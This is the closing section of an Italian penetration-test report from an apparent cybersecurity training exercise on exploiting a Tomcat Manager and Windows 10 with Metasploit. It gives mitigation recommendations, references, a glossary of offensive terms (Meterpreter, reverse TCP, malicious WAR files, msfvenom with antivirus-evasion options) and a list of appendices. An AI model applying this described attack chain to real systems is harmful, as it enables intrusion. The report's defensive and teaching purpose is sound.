CRITICA	Modificare immediatamente le credenziali predefinite del Tomcat Manager (admin/password) con credenziali forti e univoche. Implementare autenticazione multi-fattore ove supportato.	SysAdmin	Immediata	Basso
CRITICA	Disabilitare o rimuovere l'interfaccia Tomcat Manager in ambienti di produzione. Se necessaria, limitarne l'accesso tramite ACL IP a soli indirizzi amministrativi fidati.	SysAdmin / DevOps	Immediata	Basso
ALTA	Implementare un WAF (Web Application Firewall) con regole specifiche per bloccare upload di file WAR non	NetSec	7 gg	Medio

Priorità	Raccomandazione	Owner	Deadline	Costo
	autorizzati e tentativi di autenticazione brute force sul Manager.			
ALTA	Deployare un sistema EDR (Endpoint Detection & Response) sulla macchina Windows 10 con telemetria process tree, configurando alert ad alta severità per processi figli anomali di java.exe.	SOC	15 gg	Medio
ALTA	Implementare Application Whitelisting (tramite AppLocker o Windows Defender Application Control) per impedire l'esecuzione di file .msi non firmati da percorsi non standard come C:\Windows\Temp\.	SysAdmin	15 gg	Basso
MEDIA	Configurare il monitoraggio dei log di accesso al Tomcat Manager con alerting su tentativi di login falliti multipli e su qualsiasi operazione di deploy di applicazioni.	SOC / SysAdmin	30 gg	Basso
MEDIA	Implementare segmentazione di rete tra la LAN degli utenti e i server applicativi, impedendo l'accesso diretto alla porta 8080 da workstation non amministrative.	NetSec	30 gg	Medio
BASSA	Formazione interna su secure configuration di Apache Tomcat, con particolare focus sulla gestione delle credenziali, la disabilitazione dei componenti non necessari e il principio del minimo privilegio.	HR / Security	90 gg	Basso

CAPITOLO 13

Riferimenti & Appendici

13.1 Riferimenti Tecnici

- MITRE ATT&CK Enterprise v14 — https://attack.mitre.org/
- Rapid7 Metasploit Framework — Modulo tomcat_mgr_upload — https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_upload/
- Apache Tomcat Security Considerations — https://tomcat.apache.org/tomcat-9.0-doc/security-howto.html
- Tenable Nessus Documentation — https://docs.tenable.com/nessus/
- OWASP Testing Guide v4.2 — Command Injection & Authentication Testing — https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment — https://csrc.nist.gov/publications/detail/sp/800-115/final
- msfvenom Payload Generation — Offensive Security Documentation — https://www.offensive-security.com/metasploit-unleashed/msfvenom/
- CWE-798: Use of Hard-coded Credentials — https://cwe.mitre.org/data/definitions/798.html

13.2 Glossario

Termine	Definizione
Meterpreter	Payload avanzato del framework Metasploit che fornisce una shell interattiva con funzionalità estese (screenshot, migrazione processo, accesso filesystem, webcam, ecc.) in memoria, senza creare file su disco.
Reverse TCP	Modalità di connessione in cui il target si connette attivamente all'attaccante (listener), aggirando firewall che blocchino connessioni in ingresso verso il target.
WAR (Web Application Archive)	Formato di archivio Java per il packaging e il deploy di applicazioni web su server come Apache Tomcat. Un WAR malevolo può contenere una web shell o un payload Meterpreter.
msfvenom	Strumento del framework Metasploit per la generazione di payload personalizzati in vari formati (exe, msi, apk, jar, ecc.) con encoder e opzioni di evasione antivirus.
Migrate (Meterpreter)	Comando che sposta il processo Meterpreter nel contesto di un altro processo attivo sul sistema, acquisendone i privilegi e le capacità (es. accesso al desktop).
EDR	Endpoint Detection & Response: soluzione di sicurezza che monitora i comportamenti dei processi sugli endpoint, rilevando attività anomale e consentendo la risposta agli incidenti.
CVSS	Common Vulnerability Scoring System: sistema standardizzato per la classificazione della severità delle vulnerabilità su una scala da 0 a 10.
Privilege Escalation	Tecnica con cui un attaccante aumenta il proprio livello di accesso su un sistema, passando da un account a basso privilegio a uno con privilegi più elevati (es. SYSTEM o Administrator).
RCE	Remote Code Execution: capacità di eseguire codice arbitrario su un sistema remoto, tipicamente ottenuta sfruttando vulnerabilità applicative.
TTP	Tactics, Techniques and Procedures: modus operandi di un attaccante, descritto nel linguaggio standardizzato del framework MITRE ATT&CK.

13.3 Appendici

- Appendice A — Output completo ipconfig dalla sessione Meterpreter Java (§ Evidence #4)
- Appendice B — Lista processi completa (output ps) dalla sessione Meterpreter x64 (§ 7.2 Fase 08)
- Appendice C — Screenshot integrale del Desktop di Windows 10 catturato post-migrazione (§ Evidence #7)
- Appendice D — Kill chain completa mappata su MITRE ATT&CK (§ 10)
- Appendice E — Matrice priorità raccomandazioni di mitigazione (§ 12.3)

— FINE DEL DOCUMENTO —

Build Week II · Cybersecurity · Giorno 5 · Exploit Windows con Metasploit · Versione 1.0 · CONFIDENTIAL